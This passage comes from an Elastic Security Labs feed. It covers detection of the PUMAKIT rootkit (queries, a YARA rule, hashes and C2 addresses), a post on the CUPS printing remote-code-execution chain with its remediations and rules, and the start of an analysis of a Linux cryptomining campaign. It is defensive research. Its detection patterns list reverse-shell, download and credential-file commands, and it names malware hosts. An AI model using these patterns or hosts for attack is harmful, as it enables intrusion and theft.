<p>We can detect these and more potentially suspicious commands through a query such as the following:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name == &quot;kthreadd&quot; and (
  process.executable like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;, &quot;/var/www/*&quot;, &quot;/bin/*&quot;, &quot;/usr/bin/*&quot;, &quot;/usr/local/bin/*&quot;) or
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;whoami&quot;, &quot;curl&quot;, &quot;wget&quot;, &quot;id&quot;, &quot;nohup&quot;, &quot;setsid&quot;) or
  process.command_line like (
    &quot;*/etc/cron*&quot;, &quot;*/etc/rc.local*&quot;, &quot;*/dev/tcp/*&quot;, &quot;*/etc/init.d*&quot;, &quot;*/etc/update-motd.d*&quot;,
    &quot;*/etc/ld.so*&quot;, &quot;*/etc/sudoers*&quot;, &quot;*base64 *&quot;, &quot;*base32 *&quot;, &quot;*base16 *&quot;, &quot;*/etc/profile*&quot;,
    &quot;*/dev/shm/*&quot;, &quot;*/etc/ssh*&quot;, &quot;*/home/*/.ssh/*&quot;, &quot;*/root/.ssh*&quot; , &quot;*~/.ssh/*&quot;, &quot;*autostart*&quot;,
    &quot;*xxd *&quot;, &quot;*/etc/shadow*&quot;
  )
) and not process.name == &quot;dpkg&quot;
</code></pre>
<p>We can also detect the rootkits’ method of elevating privileges by analyzing the <code>rmdir</code> command for unusual UID/GID changes.</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;change&quot; and event.action in (&quot;uid_change&quot;, &quot;guid_change&quot;) and process.name == &quot;rmdir&quot;
</code></pre>
<p>Several other behavioral rules may also trigger, depending on the execution chain.</p>
<h2>One YARA signature to rule them all</h2>
<p>Elastic Security has created a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_Pumakit.yar">YARA signature</a> to identify PUMAKIT (the dropper (<code>cron</code>), the rootkit loader(<code>/memfd:wpn</code>), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:</p>
<pre><code class="language-YARA">rule Linux_Trojan_Pumakit {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-12-09&quot;
        last_modified = &quot;2024-12-09&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86, arm64&quot;
        threat_name = &quot;Linux.Trojan.Pumakit&quot;

    strings:
        $str1 = &quot;PUMA %s&quot;
        $str2 = &quot;Kitsune PID %ld&quot;
        $str3 = &quot;/usr/share/zov_f&quot;
        $str4 = &quot;zarya&quot;
        $str5 = &quot;.puma-config&quot;
        $str6 = &quot;ping_interval_s&quot;
        $str7 = &quot;session_timeout_s&quot;
        $str8 = &quot;c2_timeout_s&quot;
        $str9 = &quot;LD_PRELOAD=/lib64/libs.so&quot;
        $str10 = &quot;kit_so_len&quot;
        $str11 = &quot;opsecurity1.art&quot;
        $str12 = &quot;89.23.113.204&quot;
    
    condition:
        4 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f</code></td>
<td>SHA256</td>
<td><code>cron</code></td>
<td>PUMAKIT dropper</td>
</tr>
<tr>
<td><code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></td>
<td>SHA256</td>
<td><code>/memfd:wpn (deleted</code>)</td>
<td>PUMAKIT loader</td>
</tr>
<tr>
<td><code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></td>
<td>SHA256</td>
<td><code>/memfd:tgt (deleted)</code></td>
<td>Cron binary</td>
</tr>
<tr>
<td><code>8ef63f9333104ab293eef5f34701669322f1c07c0e44973d688be39c94986e27</code></td>
<td>SHA256</td>
<td><code>libs.so</code></td>
<td>Kitsune shared object reference</td>
</tr>
<tr>
<td><code>8ad422f5f3d0409747ab1ac6a0919b1fa8d83c3da43564a685ae4044d0a0ea03</code></td>
<td>SHA256</td>
<td><code>some2.elf</code></td>
<td>PUMAKIT variant</td>
</tr>
<tr>
<td><code>bbf0fd636195d51fb5f21596d406b92f9e3d05cd85f7cd663221d7d3da8af804</code></td>
<td>SHA256</td>
<td><code>some1.so</code></td>
<td>Kitsune shared object variant</td>
</tr>
<tr>
<td><code>bc9193c2a8ee47801f5f44beae51ab37a652fda02cd32d01f8e88bb793172491</code></td>
<td>SHA256</td>
<td><code>puma.ko</code></td>
<td>LKM rootkit</td>
</tr>
<tr>
<td><code>1aab475fb8ad4a7f94a7aa2b17c769d6ae04b977d984c4e842a61fb12ea99f58</code></td>
<td>SHA256</td>
<td><code>kitsune.so</code></td>
<td>Kitsune</td>
</tr>
<tr>
<td><code>sec.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>rhel.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>89.23.113[.]204</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
</tbody>
</table>
<h2>Concluding Statement</h2>
<p>PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.</p>
<p>Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/declawing-pumakit/pumakit.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Cups Overflow: When your printer spills more than Ink]]></title>
            <link>https://www.elastic.co/de/security-labs/cups-overflow</link>
            <guid>cups-overflow</guid>
            <pubDate>Sat, 28 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris.]]></description>
            <content:encoded><![CDATA[<h2>Update October 2, 2024</h2>
<p>The following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your &quot;Prebuilt Security Detection Rules&quot; integration versions or visit the <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-downloadable-updates.html">Downloadable rule updates</a> site.</p>
<ul>
<li>Stack Version 8.15 - Package Version 8.15.6+</li>
<li>Stack Version 8.14 - Package Version 8.14.12+</li>
<li>Stack Version 8.13 - Package Version 8.13.18+</li>
<li>Stack Version 8.12 - Package Version 8.12.23+</li>
</ul>
<h2>Key takeaways</h2>
<ul>
<li>On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the <code>cups-browsed</code>, <code>libscupsfilters</code>, and <code>libppd</code> components of the CUPS printing system, impacting versions &lt;= 2.0.1.</li>
<li>The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.</li>
<li>The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by <code>cups-browsed</code> without any authentication requirements.</li>
<li>The vulnerability chain includes the <code>foomatic-rip</code> filter, which permits the execution of arbitrary commands through the <code>FoomaticRIPCommandLine</code> directive, a known (<a href="https://nvd.nist.gov/vuln/detail/CVE-2011-2697">CVE-2011-2697</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2011-2964">CVE-2011-2964</a>) but unpatched issue since 2011.</li>
<li>Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the <code>cups-browsed</code> service enabled by default.</li>
<li>By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.</li>
<li>Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.</li>
</ul>
<h2>The CUPS RCE at a glance</h2>
<p>On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/">uncovered</a> a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like <code>cups-browsed</code>, <code>libcupsfilters</code>, and <code>libppd</code>. These vulnerabilities — identified as <a href="https://www.cve.org/CVERecord?id=CVE-2024-47176">CVE-2024-47176</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2024-47076">CVE-2024-47076</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2024-47175">CVE-2024-47175</a>, and <a href="https://www.cve.org/CVERecord?id=CVE-2024-47177">CVE-2024-47177</a> — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).</p>
<p>At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port <code>631</code> over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.</p>
<p>For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.</p>
<p>Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.</p>
<p>One of the major vulnerabilities in this chain is the <code>foomatic-rip</code> filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.</p>
<blockquote>
<p>While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.</p>
</blockquote>
<h2>Elastic’s POC analysis</h2>
<p>Elastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the <a href="https://github.com/RickdeJager/cupshax/blob/main/cupshax.py">cupshax</a> proof of concept (PoC) based on its ability to execute locally.</p>
<p>To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.</p>
<p>Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a <a href="https://en.wikipedia.org/wiki/PostScript_Printer_Description">PostScript Printer Description</a> (PPD) file from these IPP attributes.</p>
<p>At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.</p>
<p>During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.</p>
<p>When running arbitrary commands to create files, we noticed that <code>lp</code> is the user and group reported for arbitrary command execution, the <a href="https://wiki.debian.org/SystemGroups#:~:text=lp%20(LP)%3A%20Members%20of,jobs%20sent%20by%20other%20users.">default printing group</a> on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the <code>lp</code> user to have sufficient permissions to retrieve and run a malicious payload. By default, the <code>lp</code> user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict <code>lp</code> such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.</p>
<p>The <code>lp</code> user in many default configurations has access to commands that are not required for the print service, for instance <code>telnet</code>. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the <code>lp</code> user from using them.</p>
<p>We also took note that interactive reverse shells are not immediately supported through this technique, since the <code>lp</code> user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to <code>/tmp/</code>, which is trivial to detect in most cases. Note that the user writing this file will be <code>lp</code> so similar behavior will be present for attackers downloading and saving a payload on disk.</p>
<p>Alongside these observations, the parent process, <code>foomatic-rip</code> was observed in our telemetry executing a shell, which is highly uncommon</p>
<h2>Executing the ‘Cupshax’ POC</h2>
<p>To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.</p>
<p>Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the <code>lp</code> user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/video1.gif" alt="A remotely downloaded payload, compiled and executed on a vulnerable host" title="A remotely downloaded payload, compiled and executed on a vulnerable host" /></p>
<p>Continued testing was performed around reverse shell invocation, successfully demonstrated below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/video2.gif" alt="A reverse shell executed on a vulnerable host" title="A reverse shell executed on a vulnerable host" /></p>
<h2>Assessing impact</h2>
<ul>
<li><strong>Severity:</strong> These vulnerabilities are given CVSS scores <a href="https://x.com/evilsocket/status/1838220677389656127">controversially</a> up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.</li>
<li><strong>Who is affected?:</strong> The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report <a href="https://x.com/shodanhq/status/1839418045757845925">highlights</a> that over 75,000 CUPS services are exposed on the internet.</li>
<li><strong>Potential Damage:</strong> Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.</li>
</ul>
<h2>Remediations</h2>
<p>As <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Remediation">highlighted</a> by @evilsocket, there are several remediation recommendations.</p>
<ul>
<li>Disable and uninstall the <code>cups-browsed</code> service. For example, see the recommendations from <a href="https://www.redhat.com/en/blog/red-hat-response-openprinting-cups-vulnerabilities">Red Hat</a> and <a href="https://ubuntu.com/blog/cups-remote-code-execution-vulnerability-fix-available">Ubuntu</a>.</li>
<li>Ensure your CUPS packages are updated to the latest versions available for your distribution.</li>
<li>If updating isn’t possible, block UDP port <code>631</code> and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the <code>lp</code> user and group configuration on the host.</li>
</ul>
<h2>Elastic protections</h2>
<p>In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.</p>
<h3>cupsd or foomatic-rip shell execution</h3>
<p>The first detection rule targets processes on Linux systems that are spawned by <code>foomatic-rip</code> and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible.</p>
<pre><code>process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and
 event.action == &quot;exec&quot; and process.parent.name == &quot;foomatic-rip&quot; and
 process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) 
 and not process.command_line like (&quot;*/tmp/foomatic-*&quot;, &quot;*-sDEVICE=ps2write*&quot;)
</code></pre>
<p>This query managed to detect all 33 PoC attempts that we performed:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image6.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml</a></p>
<h3>Printer user (lp) shell execution</h3>
<p>This detection rule assumes that the default printer user (<code>lp</code>) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include <code>cupsd</code>. Although there's currently no indication that RCE can be exploited through <code>cupsd</code>, we cannot rule out the possibility.</p>
<pre><code>process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and
 event.action == &quot;exec&quot; and user.name == &quot;lp&quot; and
 process.parent.name in (&quot;cupsd&quot;, &quot;foomatic-rip&quot;, &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, 
 &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and process.name in (&quot;bash&quot;, &quot;dash&quot;, 
 &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;) and not process.command_line 
 like (&quot;*/tmp/foomatic-*&quot;, &quot;*-sDEVICE=ps2write*&quot;)
</code></pre>
<p>By focusing on the username <code>lp</code>, we broadened the scope and detected, like previously, all of the 33 PoC executions:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image5.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml</a></p>
<h3>Network connection by CUPS foomatic-rip child</h3>
<p>This rule identifies network connections initiated by child processes of <code>foomatic-rip</code>, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.</p>
<pre><code>sequence by host.id with maxspan=10s
  [process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; 
   and event.action == &quot;exec&quot; and
   process.parent.name == &quot;foomatic-rip&quot; and
   process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;)] 
   by process.entity_id
  [network where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and 
   event.action == &quot;connection_attempted&quot;] by process.parent.entity_id
</code></pre>
<p>By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image7.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml</a></p>
<h3>File creation by CUPS foomatic-rip child</h3>
<p>This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in <code>/tmp/</code>, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.</p>
<pre><code>sequence by host.id with maxspan=10s
  [process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and 
   event.action == &quot;exec&quot; and process.parent.name == &quot;foomatic-rip&quot; and 
   process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;)] by process.entity_id
  [file where host.os.type == &quot;linux&quot; and event.type != &quot;deletion&quot; and
   not (process.name == &quot;gs&quot; and file.path like &quot;/tmp/gs_*&quot;)] by process.parent.entity_id
</code></pre>
<p>The rule excludes <code>/tmp/gs_*</code> to account for default <code>cupsd</code> behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image1.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml</a></p>
<h3>Suspicious execution from foomatic-rip or cupsd parent</h3>
<p>This rule detects suspicious command lines executed by child processes of <code>foomatic-rip</code> and <code>cupsd</code>. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.</p>
<pre><code>process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and 
 event.action == &quot;exec&quot; and process.parent.name in 
 (&quot;foomatic-rip&quot;, &quot;cupsd&quot;) and process.command_line like (
  // persistence
  &quot;*cron*&quot;, &quot;*/etc/rc.local*&quot;, &quot;*/dev/tcp/*&quot;, &quot;*/etc/init.d*&quot;, 
  &quot;*/etc/update-motd.d*&quot;, &quot;*/etc/sudoers*&quot;,
  &quot;*/etc/profile*&quot;, &quot;*autostart*&quot;, &quot;*/etc/ssh*&quot;, &quot;*/home/*/.ssh/*&quot;, 
  &quot;*/root/.ssh*&quot;, &quot;*~/.ssh/*&quot;, &quot;*udev*&quot;, &quot;*/etc/shadow*&quot;, &quot;*/etc/passwd*&quot;,
    // Downloads
  &quot;*curl*&quot;, &quot;*wget*&quot;,

  // encoding and decoding
  &quot;*base64 *&quot;, &quot;*base32 *&quot;, &quot;*xxd *&quot;, &quot;*openssl*&quot;,

  // reverse connections
  &quot;*GS_ARGS=*&quot;, &quot;*/dev/tcp*&quot;, &quot;*/dev/udp/*&quot;, &quot;*import*pty*spawn*&quot;, &quot;*import*subprocess*call*&quot;, &quot;*TCPSocket.new*&quot;,
  &quot;*TCPSocket.open*&quot;, &quot;*io.popen*&quot;, &quot;*os.execute*&quot;, &quot;*fsockopen*&quot;, &quot;*disown*&quot;, &quot;*nohup*&quot;,

  // SO loads
  &quot;*openssl*-engine*.so*&quot;, &quot;*cdll.LoadLibrary*.so*&quot;, &quot;*ruby*-e**Fiddle.dlopen*.so*&quot;, &quot;*Fiddle.dlopen*.so*&quot;,
  &quot;*cdll.LoadLibrary*.so*&quot;,

  // misc. suspicious command lines
   &quot;*/etc/ld.so*&quot;, &quot;*/dev/shm/*&quot;, &quot;*/var/tmp*&quot;, &quot;*echo*&quot;, &quot;*&gt;&gt;*&quot;, &quot;*|*&quot;
)
</code></pre>
<p>By making an exception of the command lines as we did in the rule above, we can broaden the scope to also detect the <code>cupsd</code> parent, without the fear of false positives.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image2.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml">https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_suspicious_child_execution.toml</a></p>
<h3>Elastic’s Attack Discovery</h3>
<p>In addition to prebuilt content published, <a href="https://www.elastic.co/de/guide/en/security/current/attack-discovery.html">Elastic’s Attack Discovery</a> can provide context and insights by analyzing alerts in your environment and identifying threats by leveraging Large Language Models (LLMs). In the following example, Attack Discovery provides a short summary and a timeline of the activity. The behaviors are then mapped to an attack chain to highlight impacted stages and help triage the alerts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/image4.png" alt="Elastic’s Attack Discovery summarizing findings for the CUPS Vulnerability" title="Elastic’s Attack Discovery summarizing findings for the CUPS Vulnerability" /></p>
<h2>Conclusion</h2>
<p>The recent CUPS vulnerability disclosure highlights the evolving threat landscape, underscoring the importance of securing services like printing. With a high CVSS score, this issue calls for immediate action, particularly given how easily these flaws can be exploited remotely. Although the service is installed by default on some UNIX OS (based on supply chain), manual user interaction is needed to trigger the printer job. We recommend that users remain vigilant, continue hunting, and not underestimate the risk. While the threat requires user interaction, if paired with a spear phishing document, it may coerce victims to print using the rogue printer. Or even worse, silently replacing existing printers or installing new ones as <a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Impact">indicated</a> by @evilsocket.</p>
<p>We expect more to be revealed as the initial disclosure was labeled part 1. Ultimately, visibility and detection capabilities remain at the forefront of defensive strategies for these systems, ensuring that attackers cannot exploit overlooked vulnerabilities.</p>
<h2>Key References</h2>
<ul>
<li><a href="https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/">https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/</a></li>
<li><a href="https://github.com/RickdeJager/cupshax/blob/main/cupshax.py">https://github.com/RickdeJager/cupshax/blob/main/cupshax.py</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47076">https://www.cve.org/CVERecord?id=CVE-2024-47076</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47175">https://www.cve.org/CVERecord?id=CVE-2024-47175</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47176">https://www.cve.org/CVERecord?id=CVE-2024-47176</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-47177">https://www.cve.org/CVERecord?id=CVE-2024-47177</a></li>
</ul>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/cups-overflow/cups-overflow.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse]]></title>
            <link>https://www.elastic.co/de/security-labs/betting-on-bots</link>
            <guid>betting-on-bots</guid>
            <pubDate>Fri, 27 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF6138 campaign involved cryptomining, DDoS attacks, and potential money laundering via gambling APIs, highlighting the attackers' use of evolving malware and stealthy communication channels.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In recent months, Elastic Security Labs has uncovered a sophisticated Linux malware campaign targeting vulnerable servers. The attackers initiated the compromise in March 2024 by exploiting an Apache2 web server. Gaining initial access the threat actors deployed a complex intrusion set to establish persistence and expand their control over the compromised host.</p>
<p>The threat actors utilized a mixture of tools and malware, including C2 channels disguised as kernel processes, telegram bots for communication, and cron jobs for scheduled task execution. Notably, they deployed multiple malware families, such as KAIJI and RUDEDEVIL, alongside custom-written malware. KAIJI, known for its DDoS capabilities, and RUDEDEVIL, a cryptocurrency miner, were used to exploit system resources for malicious purposes.</p>
<p>Our investigation revealed a potential Bitcoin/XMR mining scheme that leverages gambling APIs, suggesting the attackers might be conducting money laundering activities using compromised hosts. We also gained access to a file share that hosted daily uploads of fresh KAIJI samples with previously unseen hashes, indicating active development and adaptation by the malware authors.</p>
<p>This research publication delves into the details of the campaign, providing a comprehensive analysis of the attackers' tactics, techniques, and procedures. We explore how they established initial access, the methods used for persistence and privilege escalation, and the malware deployed at each stage. Additionally, we discuss the command and control infrastructure, including the use of GSOCKET and Telegram for stealthy communication.</p>
<h2>Execution flow</h2>
<h3>Initial access</h3>
<p>Our team observed a host that was initially compromised in March 2024 by obtaining arbitrary code execution on a server running Apache2. Evidence of this compromise is seen in the execution of the <code>id</code> command via the Apache2 process, after which we see the threat actor exploiting the web server and deploying KAIJI malware under the <code>www-data</code> user account.</p>
<p>Shortly after the Kaiji deployment, the attacker used the <code>www-data</code> account to download a script named <code>00.sh</code> from the URL <code>http://61.160.194[.]160:35130</code>, which, after further investigation, also hosted several versions of RUDEDEVIL malware.</p>
<p><code>00.sh</code> is a stager that:</p>
<ul>
<li>Sets its default shell and PATH.</li>
<li>Deletes several log files to erase traces of execution.</li>
<li>Leverages <code>ps</code>, <code>netstat</code>, <code>lsof</code> and a list of common mining process names to kill any potential mining competition on the compromised host.</li>
<li>Flushes the <code>iptables</code> rules on the host, sets several <code>iptables</code> rules to block connections to specific destination ports and mining pools, and disables <code>iptables</code>.</li>
